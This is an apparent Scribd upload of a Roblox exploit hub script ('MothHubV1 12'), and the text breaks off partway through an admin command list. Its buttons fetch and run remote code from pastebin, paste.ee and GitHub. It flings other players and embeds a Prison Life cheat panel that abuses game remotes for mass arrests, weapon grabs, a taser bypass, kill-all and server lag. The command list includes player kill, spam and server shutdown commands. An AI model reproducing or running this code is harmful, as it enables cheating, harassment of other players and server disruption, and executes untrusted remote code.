0% found this document useful (0 votes)
810 views195 pages

MothHubV1 12

This document contains code for creating a GUI in Roblox with multiple buttons and functions. It instantiates a ScreenGui parented to CoreGui and contains buttons for yeeting players, infinite yield, infinite jump, two trolling guis, and XXHub. The buttons load code from URLs on click to execute the respective scripts.

Uploaded by

ParksHunter
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
810 views195 pages

MothHubV1 12

This document contains code for creating a GUI in Roblox with multiple buttons and functions. It instantiates a ScreenGui parented to CoreGui and contains buttons for yeeting players, infinite yield, infinite jump, two trolling guis, and XXHub. The buttons load code from URLs on click to execute the respective scripts.

Uploaded by

ParksHunter
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 195

-- Gui to Lua

-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("ImageLabel")
local yeetpeople = Instance.new("TextButton")
local infyield = Instance.new("TextButton")
local infjump = Instance.new("TextButton")
local trollingtwo = Instance.new("TextButton")
local trollingone = Instance.new("TextButton")
local chathax = Instance.new("TextButton")
local nullware = Instance.new("TextButton")
local pagetwo = Instance.new("TextButton")
local title = Instance.new("TextLabel")
local Close = Instance.new("TextButton")
local version = Instance.new("TextLabel")
local pagethree = Instance.new("TextButton")
local OpenFrame = Instance.new("Frame")
local Open = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.CoreGui

Frame.Name = "Frame"
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BackgroundTransparency = 1.000
Frame.BorderSizePixel = 10
Frame.Position = UDim2.new(0.675611675, 0, 0.568796098, 0)
Frame.Size = UDim2.new(0, 379, 0, 321)
Frame.Image = "rbxassetid://3570695787"
Frame.ImageColor3 = Color3.fromRGB(0, 5, 17)
Frame.ScaleType = Enum.ScaleType.Slice
Frame.SliceCenter = Rect.new(100, 100, 100, 100)
Frame.SliceScale = 0.120
Frame.Draggable = true
Frame.Visible = false
Frame.Active = true

yeetpeople.Name = "yeetpeople"
yeetpeople.Parent = Frame
yeetpeople.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
yeetpeople.BackgroundTransparency = 0.950
yeetpeople.Position = UDim2.new(0.0307292938, 0, 0.559622467, 0)
yeetpeople.Size = UDim2.new(0, 354, 0, 26)
yeetpeople.Font = Enum.Font.SourceSans
yeetpeople.Text = "Yeet People "
yeetpeople.TextColor3 = Color3.fromRGB(102, 255, 127)
yeetpeople.TextSize = 14.000
yeetpeople.MouseButton1Down:connect(function()
local lp = game:FindService("Players").LocalPlayer

local function gplr(String)


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
table.insert(Found,v)
end
elseif strl == "others" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if v.Name ~= lp.Name then
table.insert(Found,v)
end
end
elseif strl == "me" then
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if v.Name == lp.Name then
table.insert(Found,v)
end
end
else
for i,v in pairs(game:FindService("Players"):GetPlayers()) do
if v.Name:lower():sub(1, #String) == String:lower() then
table.insert(Found,v)
end
end
end
return Found
end

local function notif(str,dur)


game:FindService("StarterGui"):SetCore("SendNotification", {
Title = "yeet gui",
Text = str,
Icon = "rbxassetid://2005276185",
Duration = dur or 3
})
end

--// sds

local h = Instance.new("ScreenGui")
local Main = Instance.new("ImageLabel")
local Top = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local TextButton = Instance.new("TextButton")

h.Name = "h"
h.Parent = game:GetService("CoreGui")
h.ResetOnSpawn = false

Main.Name = "Main"
Main.Parent = h
Main.Active = true
Main.Draggable = true
Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0)
Main.Size = UDim2.new(0, 454, 0, 218)
Main.Image = "rbxassetid://2005276185"

Top.Name = "Top"
Top.Parent = Main
Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57)
Top.BorderSizePixel = 0
Top.Size = UDim2.new(0, 454, 0, 44)

Title.Name = "Title"
Title.Parent = Top
Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
Title.BorderSizePixel = 0
Title.Position = UDim2.new(0, 0, 0.295454562, 0)
Title.Size = UDim2.new(0, 454, 0, 30)
Title.Font = Enum.Font.SourceSans
Title.Text = "FE Yeet Gui (trollface edition)"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextScaled = true
Title.TextSize = 14.000
Title.TextWrapped = true

TextBox.Parent = Main
TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0)
TextBox.Size = UDim2.new(0, 388, 0, 62)
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderText = "Who do i yeet(can be shortened)"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextScaled = true
TextBox.TextSize = 14.000
TextBox.TextWrapped = true

TextButton.Parent = Main
TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0)
TextButton.Size = UDim2.new(0, 359, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Cheese Em'"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true

TextButton.MouseButton1Click:Connect(function()
local Target = gplr(TextBox.Text)
if Target[1] then
Target = Target[1]

local Thrust = Instance.new('BodyThrust',


lp.Character.HumanoidRootPart)
Thrust.Force = Vector3.new(9999,9999,9999)
Thrust.Name = "YeetForce"
repeat
lp.Character.HumanoidRootPart.CFrame =
Target.Character.HumanoidRootPart.CFrame
Thrust.Location =
Target.Character.HumanoidRootPart.Position
game:FindService("RunService").Heartbeat:wait()
until not Target.Character:FindFirstChild("Head")
else
notif("Invalid player")
end
end)

--//fsddfsdf
notif("Loaded successfully! Created by scuba#0001", 5)
end)
infyield.Name = "infyield"
infyield.Parent = Frame
infyield.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
infyield.BackgroundTransparency = 0.950
infyield.Position = UDim2.new(0.0307292938, 0, 0.458747625, 0)
infyield.Size = UDim2.new(0, 354, 0, 26)
infyield.Font = Enum.Font.SourceSans
infyield.Text = "Infinite Yield"
infyield.TextColor3 = Color3.fromRGB(102, 255, 127)
infyield.TextSize = 14.000
infyield.MouseButton1Down:connect(function()

loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/mas
ter/source'))()
end)
infjump.Name = "infjump"
infjump.Parent = Frame
infjump.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
infjump.BackgroundTransparency = 0.950
infjump.Position = UDim2.new(0.0307292938, 0, 0.66817075, 0)
infjump.Size = UDim2.new(0, 354, 0, 26)
infjump.Font = Enum.Font.SourceSans
infjump.Text = "Infinite Jump"
infjump.TextColor3 = Color3.fromRGB(102, 255, 127)
infjump.TextSize = 14.000
infjump.MouseButton1Down:connect(function()
game.StarterGui:SetCore("SendNotification", {
Title = "bruh";
Text = "- Infinite Jump executed, nae nae before you get a whoopin.";
Icon = "rbxassetid://4414605822";
Duration = 3;
})

_G.infinjump = true

local Player = game:GetService("Players").LocalPlayer


local Mouse = Player:GetMouse()
Mouse.KeyDown:connect(function(k)
if _G.infinjump then
if k:byte() == 32 then
Humanoid =
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
Humanoid:ChangeState("Jumping")
wait(0.1)
Humanoid:ChangeState("Seated")
end
end
end)

local Player = game:GetService("Players").LocalPlayer


local Mouse = Player:GetMouse()
Mouse.KeyDown:connect(function(k)
k = k:lower()
if k == "f" then
if _G.infinjump == true then
_G.infinjump = false
else
_G.infinjump = true
end
end
end)
end)

trollingtwo.Name = "trollingtwo"
trollingtwo.Parent = Frame
trollingtwo.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
trollingtwo.BackgroundTransparency = 0.950
trollingtwo.Position = UDim2.new(0.0307292938, 0, 0.356242418, 0)
trollingtwo.Size = UDim2.new(0, 354, 0, 26)
trollingtwo.Font = Enum.Font.SourceSans
trollingtwo.Text = "Trolling Gui 2"
trollingtwo.TextColor3 = Color3.fromRGB(102, 255, 127)
trollingtwo.TextSize = 14.000
trollingtwo.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/8cw7FMq4", true))()
end)
trollingone.Name = "trollingone"
trollingone.Parent = Frame
trollingone.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
trollingone.BackgroundTransparency = 0.950
trollingone.Position = UDim2.new(0.0307292938, 0, 0.254625082, 0)
trollingone.Size = UDim2.new(0, 354, 0, 26)
trollingone.Font = Enum.Font.SourceSans
trollingone.Text = "Trolling Gui 1"
trollingone.TextColor3 = Color3.fromRGB(102, 255, 127)
trollingone.TextSize = 14.000
trollingone.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/RNWgaqCE", true))()

end)
chathax.Name = "chathax"
chathax.Parent = Frame
chathax.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
chathax.BackgroundTransparency = 0.950
chathax.Position = UDim2.new(0.0307292938, 0, 0.152965605, 0)
chathax.Size = UDim2.new(0, 354, 0, 26)
chathax.Font = Enum.Font.SourceSans
chathax.Text = "XXHub"
chathax.TextColor3 = Color3.fromRGB(102, 255, 127)
chathax.TextSize = 14.000
chathax.Name = "chathax"
chathax.Parent = Frame
chathax.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
chathax.BackgroundTransparency = 0.950
chathax.Position = UDim2.new(0.0307292938, 0, 0.152965605, 0)
chathax.Size = UDim2.new(0, 354, 0, 26)
chathax.Font = Enum.Font.SourceSans
chathax.Text = "XXHub"
chathax.TextColor3 = Color3.fromRGB(102, 255, 127)
chathax.TextSize = 14.000
chathax.MouseButton1Down:connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/YVE4njap'),true))()
end)
nullware.Name = "nullware"
nullware.Parent = Frame
nullware.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
nullware.BackgroundTransparency = 0.950
nullware.Position = UDim2.new(0.0307292938, 0, 0.768601596, 0)
nullware.Size = UDim2.new(0, 354, 0, 26)
nullware.Font = Enum.Font.SourceSans
nullware.Text = "Nullware"
nullware.TextColor3 = Color3.fromRGB(102, 255, 127)
nullware.TextSize = 14.000
nullware.MouseButton1Down:connect(function()
nullware.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://paste.ee/r/lGZMc/0"))()

end)
end)
pagetwo.Name = "pagetwo"
pagetwo.Parent = Frame
pagetwo.BackgroundColor3 = Color3.fromRGB(107, 255, 142)
pagetwo.BackgroundTransparency = 0.200
pagetwo.BorderColor3 = Color3.fromRGB(47, 111, 29)
pagetwo.BorderSizePixel = 2
pagetwo.Position = UDim2.new(0.0639471263, 0, 0.881535709, 0)
pagetwo.Size = UDim2.new(0, 148, 0, 29)
pagetwo.Font = Enum.Font.GothamSemibold
pagetwo.Text = "Game Scripts (PG 2)"
pagetwo.TextColor3 = Color3.fromRGB(0, 0, 0)
pagetwo.TextSize = 14.000
pagetwo.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("ImageLabel")
local prisonlife = Instance.new("TextButton")
local lasertag = Instance.new("TextButton")
local pizza = Instance.new("TextButton")
local arsenal = Instance.new("TextButton")
local credits = Instance.new("TextButton")
local title = Instance.new("TextLabel")
local subtitle = Instance.new("TextLabel")
local pgclose = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.CoreGui

Frame.Name = "Frame"
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BackgroundTransparency = 1.000
Frame.Position = UDim2.new(0.507497966, 0, 0.685503662, 0)
Frame.Size = UDim2.new(0, 311, 0, 256)
Frame.Image = "rbxassetid://3570695787"
Frame.ImageColor3 = Color3.fromRGB(1, 0, 17)
Frame.ScaleType = Enum.ScaleType.Slice
Frame.SliceCenter = Rect.new(100, 100, 100, 100)
Frame.SliceScale = 0.120
Frame.Draggable = true
Frame.Visible = true
Frame.Active = true

prisonlife.Name = "prisonlife"
prisonlife.Parent = Frame
prisonlife.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
prisonlife.BackgroundTransparency = 0.900
prisonlife.BorderColor3 = Color3.fromRGB(100, 173, 111)
prisonlife.BorderSizePixel = 0
prisonlife.Position = UDim2.new(0.069907099, 0, 0.675915718, 0)
prisonlife.Size = UDim2.new(0, 266, 0, 27)
prisonlife.Font = Enum.Font.GothamSemibold
prisonlife.Text = "Prison Life"
prisonlife.TextColor3 = Color3.fromRGB(0, 0, 0)
prisonlife.TextSize = 15.000
prisonlife.MouseButton1Down:connect(function()
-- Farewell Infortality.
-- Version: 2.82
-- Instances:
local PrisonBreakerv15 = Instance.new("ScreenGui")
local openmain = Instance.new("Frame")
local open = Instance.new("TextButton")
local main = Instance.new("Frame")
local title = Instance.new("TextLabel")
local close = Instance.new("TextButton")
local police = Instance.new("TextButton")
local inmate = Instance.new("TextButton")
local neutral = Instance.new("TextButton")
local arrestcrims = Instance.new("TextButton")
local invis = Instance.new("TextButton")
local superpunch = Instance.new("TextButton")
local guns = Instance.new("TextButton")
local taserbypass = Instance.new("TextButton")
local fling = Instance.new("TextButton")
local reviz = Instance.new("TextButton")
local arrest = Instance.new("TextButton")
local attach = Instance.new("TextButton")
local fastrem = Instance.new("TextButton")
local fastm9 = Instance.new("TextButton")
local fasttaze = Instance.new("TextButton")
local fastak = Instance.new("TextButton")
local killall = Instance.new("TextButton")
local btools = Instance.new("TextButton")
local speed = Instance.new("TextButton")
local respawn = Instance.new("TextButton")
local Credits = Instance.new("TextButton")
local prison = Instance.new("TextButton")
local yard = Instance.new("TextButton")
local crimbase = Instance.new("TextButton")
local title_2 = Instance.new("TextLabel")
local bringall = Instance.new("TextButton")
local drill = Instance.new("TextButton")
local killplrmain = Instance.new("Frame")
local killtext = Instance.new("TextBox")
local kill = Instance.new("TextButton")
local waves = Instance.new("TextButton")
local bigbowl = Instance.new("TextButton")
local tazeplrmain = Instance.new("Frame")
local tazetext = Instance.new("TextBox")
local taze = Instance.new("TextButton")
local teamcrim = Instance.new("TextButton")
local tazeall = Instance.new("TextButton")
local removewalls = Instance.new("TextButton")
local removeall = Instance.new("TextButton")
local lagserver = Instance.new("TextButton")
--Properties:
PrisonBreakerv15.Name = "PrisonBreaker v1.5"
PrisonBreakerv15.Parent = game.CoreGui

openmain.Name = "openmain"
openmain.Parent = PrisonBreakerv15
openmain.BackgroundColor3 = Color3.new(0, 0, 0)
openmain.Position = UDim2.new(0.00434467755, 0, 0.397959173, 0)
openmain.Size = UDim2.new(0, 100, 0, 27)
openmain.Visible = false

open.Name = "open"
open.Parent = openmain
open.BackgroundColor3 = Color3.new(1, 1, 0)
open.Position = UDim2.new(1.49011612e-08, 0, 0, 0)
open.Size = UDim2.new(0, 100, 0, 27)
open.Style = Enum.ButtonStyle.RobloxRoundButton
open.Font = Enum.Font.GothamBold
open.Text = "OPEN"
open.TextColor3 = Color3.new(0, 0, 0)
open.TextSize = 14
open.MouseButton1Down:connect(function()
openmain.Visible = false
main.Visible = true
end)

main.Name = "main"
main.Parent = PrisonBreakerv15
main.BackgroundColor3 = Color3.new(0, 1, 0)
main.Position = UDim2.new(0.00441803597, 0, 0.249908596, 0)
main.Size = UDim2.new(0, 383, 0, 586)
main.Style = Enum.FrameStyle.RobloxRound
main.Active = true
main.Draggable = true

title.Name = "title"
title.Parent = main
title.BackgroundColor3 = Color3.new(0, 0, 1)
title.Position = UDim2.new(-0.0125168273, 0, -0.00528348284, 0)
title.Size = UDim2.new(0, 376, 0, 50)
title.Font = Enum.Font.GothamBold
title.Text = "PrisonBreaker V1.5"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextSize = 14
close.Name = "close"
close.Parent = main
close.BackgroundColor3 = Color3.new(0.333333, 0, 1)
close.Position = UDim2.new(0.848563969, 0, -0.00557620823, 0)
close.Size = UDim2.new(0, 59, 0, 50)
close.Font = Enum.Font.GothamBold
close.Text = "X"
close.TextColor3 = Color3.new(0, 0, 0)
close.TextSize = 14
close.MouseButton1Down:connect(function()
main.Visible = false
openmain.Visible = true
end)

police.Name = "police"
police.Parent = main
police.BackgroundColor3 = Color3.new(0, 0, 1)
police.Position = UDim2.new(0.0143180238, 0, 0.108731732, 0)
police.Size = UDim2.new(0, 84, 0, 22)
police.Font = Enum.Font.GothamBold
police.Text = "Team Police"
police.TextColor3 = Color3.new(0, 0, 0)
police.TextSize = 14
police.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")
end)

inmate.Name = "inmate"
inmate.Parent = main
inmate.BackgroundColor3 = Color3.new(1, 0.666667, 0)
inmate.BorderColor3 = Color3.new(1, 0.666667, 0.0901961)
inmate.Position = UDim2.new(0.270111769, 0, 0.107363492, 0)
inmate.Size = UDim2.new(0, 84, 0, 22)
inmate.Font = Enum.Font.GothamBold
inmate.Text = "Team Inmate"
inmate.TextColor3 = Color3.new(0, 0, 0)
inmate.TextSize = 14
inmate.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright orange")
end)

neutral.Name = "neutral"
neutral.Parent = main
neutral.BackgroundColor3 = Color3.new(0.772549, 0.74902, 0.784314)
neutral.Position = UDim2.new(0.525683641, 0, 0.106356524, 0)
neutral.Size = UDim2.new(0, 83, 0, 22)
neutral.Font = Enum.Font.GothamBold
neutral.Text = "Team Neutral"
neutral.TextColor3 = Color3.new(0, 0, 0)
neutral.TextSize = 14
neutral.TextStrokeColor3 = Color3.new(0.333333, 1, 0)
neutral.MouseButton1Down:connect(function()
Workspace.Remote.TeamEvent:FireServer("Medium stone grey")
end)
arrestcrims.Name = "arrestcrims"
arrestcrims.Parent = main
arrestcrims.BackgroundColor3 = Color3.new(0.333333, 1, 1)
arrestcrims.Position = UDim2.new(0.0124716684, 0, 0.160733104, 0)
arrestcrims.Size = UDim2.new(0, 111, 0, 31)
arrestcrims.Font = Enum.Font.GothamBold
arrestcrims.Text = "Arrest Crims"
arrestcrims.TextColor3 = Color3.new(1, 0, 0)
arrestcrims.TextSize = 14
arrestcrims.MouseButton1Down:connect(function()
local Player = game.Players.LocalPlayer
local cpos = Player.Character.HumanoidRootPart.CFrame
for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
if v.Name ~= Player.Name then
local i = 10
repeat
wait()
i = i-1

game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
Player.Character.HumanoidRootPart.CFrame =
v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
until i == 0
end
end
Player.Character.HumanoidRootPart.CFrame = cpos
Notify("Success", "Arrested all of the n00bs", "Cool!")
end)

invis.Name = "invis"
invis.Parent = main
invis.BackgroundColor3 = Color3.new(0, 1, 1)
invis.Position = UDim2.new(0.348153055, 0, 0.160733074, 0)
invis.Size = UDim2.new(0, 111, 0, 31)
invis.Font = Enum.Font.GothamBold
invis.Text = "Invisible"
invis.TextColor3 = Color3.new(1, 0, 0)
invis.TextSize = 14
invis.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
position = player.Character.HumanoidRootPart.Position
wait(0.1)
player.Character:MoveTo(position + Vector3.new(0, 1000000, 0))
wait(0.1)
humanoidrootpart = player.Character.HumanoidRootPart:clone()
wait(0.1)
player.Character.HumanoidRootPart:Destroy()
humanoidrootpart.Parent = player.Character
player.Character:MoveTo(position)
wait()
-- Remove this if you want to see yourself (others still won't
see you)
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character.Humanoid:RemoveAccessories()
game.Players.LocalPlayer.Character.Head.face:Remove()
end)

superpunch.Name = "superpunch"
superpunch.Parent = main
superpunch.BackgroundColor3 = Color3.new(0, 1, 1)
superpunch.Position = UDim2.new(0.678248107, 0, 0.160733074, 0)
superpunch.Size = UDim2.new(0, 111, 0, 31)
superpunch.Font = Enum.Font.GothamBold
superpunch.Text = "SuperPunch"
superpunch.TextColor3 = Color3.new(1, 0, 0)
superpunch.TextSize = 14
superpunch.MouseButton1Down:connect(function()
mainRemotes = game.ReplicatedStorage meleeRemote =
mainRemotes['meleeEvent'] mouse = game.Players.LocalPlayer:GetMouse() punching =
false cooldown = false function punch() cooldown = true local part =
Instance.new("Part", game.Players.LocalPlayer.Character) part.Transparency = 1
part.Size = Vector3.new(5, 2, 3) part.CanCollide = false local w1 =
Instance.new("Weld", part) w1.Part0 = game.Players.LocalPlayer.Character.Torso
w1.Part1 = part w1.C1 = CFrame.new(0,0,2) part.Touched:connect(function(hit) if
game.Players:FindFirstChild(hit.Parent.Name) then local plr =
game.Players:FindFirstChild(hit.Parent.Name) if plr.Name ~=
game.Players.LocalPlayer.Name then part:Destroy() for i = 1,100 do
meleeRemote:FireServer(plr) end end end end) wait(1) cooldown = false
part:Destroy() end mouse.KeyDown:connect(function(key) if cooldown == false then if
key:lower() == "f" then punch() end end end)
end)

guns.Name = "guns"
guns.Parent = main
guns.BackgroundColor3 = Color3.new(0, 1, 1)
guns.Position = UDim2.new(0.0124716703, 0, 0.2304198, 0)
guns.Size = UDim2.new(0, 111, 0, 32)
guns.Font = Enum.Font.GothamBlack
guns.Text = "Guns"
guns.TextColor3 = Color3.new(1, 0, 0)
guns.TextSize = 14
guns.MouseButton1Down:connect(function()
for i,v in pairs(Workspace.Prison_ITEMS.giver:GetChildren()) do

lol =
Workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
print(lol)
end
end)

taserbypass.Name = "taserbypass"
taserbypass.Parent = main
taserbypass.BackgroundColor3 = Color3.new(0, 1, 1)
taserbypass.Position = UDim2.new(0.348080158, 0, 0.2304198, 0)
taserbypass.Size = UDim2.new(0, 111, 0, 32)
taserbypass.Font = Enum.Font.GothamBold
taserbypass.Text = "Taser Bypass"
taserbypass.TextColor3 = Color3.new(1, 0, 0)
taserbypass.TextSize = 14
taserbypass.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.ClientInputHandler.Disabled =
true
game.Players.LocalPlayer.CharacterAdded:connect(function()
game.Workspace:WaitForChild(game.Players.LocalPlayer.Name)

game.Players.LocalPlayer.Character.ClientInputHandler.Disabled = true
end)
local message = Instance.new("Message",game.Workspace)
message.Text = 'Made By Jake11price'
wait(2)
message:Destroy()
end)

fling.Name = "fling"
fling.Parent = main
fling.BackgroundColor3 = Color3.new(0.333333, 1, 1)
fling.Position = UDim2.new(0.00984076969, 0, 0.379423141, 0)
fling.Size = UDim2.new(0, 111, 0, 32)
fling.Font = Enum.Font.GothamBold
fling.Text = "Fling"
fling.TextColor3 = Color3.new(1, 0, 0)
fling.TextSize = 14
fling.MouseButton1Down:connect(function()
power = 300 -- change this to make it more or less powerful

game:GetService('RunService').Stepped:connect(function()
game.Players.LocalPlayer.Character.Head.CanCollide = false
game.Players.LocalPlayer.Character.Torso.CanCollide = false
game.Players.LocalPlayer.Character["Left Leg"].CanCollide =
false
game.Players.LocalPlayer.Character["Right Leg"].CanCollide
= false
end)

wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent =
game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location =
game.Players.LocalPlayer.Character.HumanoidRootPart.Position
end)

reviz.Name = "reviz"
reviz.Parent = main
reviz.BackgroundColor3 = Color3.new(0, 1, 1)
reviz.Position = UDim2.new(0.0121497028, 0, 0.303878158, 0)
reviz.Size = UDim2.new(0, 111, 0, 32)
reviz.Font = Enum.Font.GothamBold
reviz.Text = "Reviz Admin"
reviz.TextColor3 = Color3.new(1, 0, 0)
reviz.TextSize = 14
reviz.MouseButton1Down:connect(function()
-- Creator: illremember#3799

-- Credits to infinite yield, harkinian, dex creators

prefix = ";"
wait(0.3)
Commands = {
'[-] cmdbar is shown when ; is pressed.',
'[1] kill [plr] -- You need a tool! Will kill the player,
use rkill to kill you and player',
'[2] bring [plr] -- You need a tool! Will bring player to
you',
'[3] spin [plr] -- You need a tool! Makes you and the
player spin crazy',
'[4] unspin -- Use after using spin cmd and dying, so you
stop loop teleporting',
'[5] attach [plr] -- You need a tool! Attaches you to
player',
'[6] unattach [plr] -- Attempts to unattach you from a
player',
'[7] follow [plr] -- Makes you follow behind the player',
'[8] unfollow',
'[9] freefall [plr] -- You need a tool! Teleports you and
the player up into the air',
'[10] trail [plr] -- The opposite of follow, you stay
infront of player',
'[11] untrail',
'[12] orbit [plr] -- Makes you orbit the player',
'[13] unorbit',
'[14] fling [plr] -- Makes you fling the player',
'[15] unfling',
'[16] fecheck -- Checks if the game is FE or not',
'[17] void [plr] -- Teleports player to the void',
'[18] noclip -- Gives you noclip to walk through walls',
'[19] clip -- Removes noclip',
'[20] speed [num]/ws [num] -- Changes how fast you walk 16
is default',
'[21] jumppower [num]/jp [num] -- Changes how high you jump
50 is default',
'[22] hipheight [num]/hh [num] -- Changes how high you
float 0 is default',
'[23] default -- Changes your speed, jumppower and
hipheight to default values',
'[24] annoy [plr] -- Loop teleports you to the player',
'[25] unannoy',
'[26] headwalk [plr] -- Loop teleports you to the player
head',
'[27] unheadwalk',
'[28] nolimbs -- Removes your arms and legs',
'[29] god -- Gives you FE Godmode',
'[30] drophats -- Drops your accessories',
'[31] droptool -- Drops any tool you have equipped',
'[32] loopdhats -- Loop drops your accessories',
'[33] unloopdhats',
'[34] loopdtool -- Loop drops any tools you have equipped',
'[35] unloopdtool',
'[36] invisible -- Gives you invisibility CREDIT TO
TIMELESS',
'[37] view [plr] -- Changes your camera to the player
character',
'[38] unview',
'[39] goto [plr] -- Teleports you to player',
'[40] fly -- Allows you to fly, credit to Infinite Yield',
'[41] unfly',
'[42] chat [msg] -- Makes you chat a message',
'[43] spam [msg] -- Spams a message',
'[44] unspam',
'[45] spamwait [num] -- Changes delay of chatting a message
for the spam command in seconds default is 1 second',
'[46] pmspam [plr] -- Spams a player in private message',
'[47] unpmspam',
'[48] cfreeze [plr] -- Freezes a player on your client,
they will only be frozen for you',
'[49] uncfreeze [plr]',
'[50] unlockws -- Unlocks the workspace',
'[51] lockws -- Locks the workspace',
'[52] btools -- Gives you btools that will only show to you
useful for deleting certain blocks only for you',
'[53] pstand -- Enables platform stand',
'[54] unpstand -- Disables platform stand',
'[55] blockhead -- Removes your head mesh',
'[56] sit',
'[57] bringobj [obj] -- Only shows on client, brings an
object/part to you constantly, can be used to bring healing parts, weapons, money
etc, type in exact name',
'[58] wsvis [num] -- Changes visibility of workspace parts,
num should be between 0 and 1, only shows client sided',
'[59] hypertotal -- Loads in my FE GUI Hypertotal',
'[60] cmds -- Prints all commands',
'[61] rmeshhats/blockhats -- Removes the meshes of all your
accessories aka block hats',
'[62] rmeshtool/blocktool -- Removes the mesh of the tool
you have equipped aka block tool',
'[63] spinner -- Makes you spin',
'[64] nospinner',
'[65] reach [num] -- Gives you reach, mostly used for
swords, say ;reachd for default and enter number after for custom',
'[66] noreach -- Removes reach, must have tool equipped',
'[67] rkill [plr] -- Kills you and the player, use kill to
just kill the player without dying',
'[68] tp me [plr] -- Alternative to goto',
'[69] cbring [plr] -- Brings player infront of you, shows
only on client, allows you to do damage to player',
'[70] uncbring',
'[71] swap [plr] -- You need a tool! Swaps players position
with yours and your position with players',
'[72] givetool [plr] -- Gives the tool you have equipped to
the player',
'[73] glitch [plr] -- Glitches you and the player, looks
very cool',
'[74] unglitch -- Unglitches you',
'[75] grespawn -- Alternative to normal respawn and usually
works best for when you want to reset with FE Godmode',
'[76] explorer -- Loads up DEX',
'[77] reset -- Resets your character.',
'[78] anim [id] -- Applies an animation on you, must be
created by ROBLOX',
'[79] animgui -- Loads up Energize animations GUI',
'[80] savepos -- Saves your current position',
'[81] loadpos -- Teleports you to your saved position',
'[82] bang [plr] -- 18+ will not work if you have FE
Godmode on',
'[83] unbang',
'[84] delcmdbar -- Removes the command bar completely',
'[85] bringmod [obj] -- Brings all the parts in a model,
client only, comes from ;bringobj enter exact name of model',
'[86] shutdown -- Uses harkinians script to shutdown
server',
'[87] respawn -- If grespawn doesnt work you can use
respawn',
'[88] delobj [obj] -- Deletes a certain brick in workspace,
client sided',
'[89] getplrs -- Prints all players in game',
'[90] deldecal -- Deletes all decals client sided',
'[91] opfinality -- Loads in my FE GUI Opfinality',
'[92] remotes -- Prints all remotes in the game in the
console when added',
'[93] noremotes -- Stops printing remotes',
'[94] tpdefault -- Stops all loop teleports to a player',
'[95] stopsit -- Will not allow you to sit',
'[96] gosit -- Allows you to sit',
'[97] clicktp -- Enables click tp',
'[98] noclicktp -- Disables click tp',
'[99] toolson -- If any tools are dropped in the workspace
you will automatically get them',
'[100] toolsoff -- Stops ;toolson',
'[101] version -- Gets the admin version',
'[102] state [num] -- Changes your humanoid state, ;unstate
